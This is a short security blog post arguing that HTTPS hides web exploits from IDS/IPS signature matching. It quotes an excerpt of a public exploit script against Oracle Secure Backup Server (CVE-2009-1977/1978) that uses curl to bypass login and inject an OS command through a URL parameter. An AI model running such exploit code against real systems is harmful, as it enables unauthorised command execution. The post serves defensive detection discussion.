Writing IDS and IPS signatures for web application targeted exploits is usually a straight forward process. Unfortunately as products attempt to be more secure via forcing SSL for transactions makes detection much more complex.
Take this recent exploit released on Milw0rm targeting Oracle Secure Backup Server for example...
It's a simple bash script using curl to post the malicious payload:
( snip )
TARGET=$1
#Exploiting CVE-2009-1977 and getting a valid token
echo "[+] Exploiting CVE-2009-1977 against $TARGET"
postdata="button=Login&attempt=1&mode=&tab=&uname=--fakeoption&passwd=fakepwd"
session=`curl -kis "https://$TARGET/login.php" -d $postdata | grep "PHPSESSID=" | head -n 1 | cut -d= -f 2 | cut -d\; -f 1`
if [[ -z $session ]]
then
echo "[!] Fatal error. No valid token has been retrieved"
exit
fi
echo "[+] I got a valid token: $session"
#Use a valid session and CVE-2009-1978 in order to inject arbitrary commands
echo "[+] Exploiting CVE-2009-1978 against $TARGET"
shell="1%26ver>osb103shelltmp"
curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
check=`curl -ks "https://$TARGET/osb103shelltmp" -b "PHPSESSID=$session" | grep -i Microsoft`
( /snip )
The issue is that the payload uri cannot be string matched using tradition IDS/IPS without either running Snort on the product itself or decoding SSL in realtime.
Well what if the product vendor (as most do) bundle a self signed certificate and don't give you access to the SSL keys to decrypt? What if your organization (as most do) simply ignore SSL streams with their IDS/IPS product.
This really hampers defense and raises the issues that HTTPS is going to be the primary target of attackers from now on to simply bypass prevention and detection all together.
How has your organization dealt with this issue? Have you even discussed it yet?
Snort has an SSL/TLS pre-processor but does it decode live SSL for you? It does not at all and only validates/inspects the SSL/TLS handshake and protocol and some basic attacks.
In fact from the current Snort documentation:
Encrypted traffic should be ignored by Snort for both performance reasons and to reduce false positives.
This is a problem the industry needs a real solution for.
No comments:
Post a Comment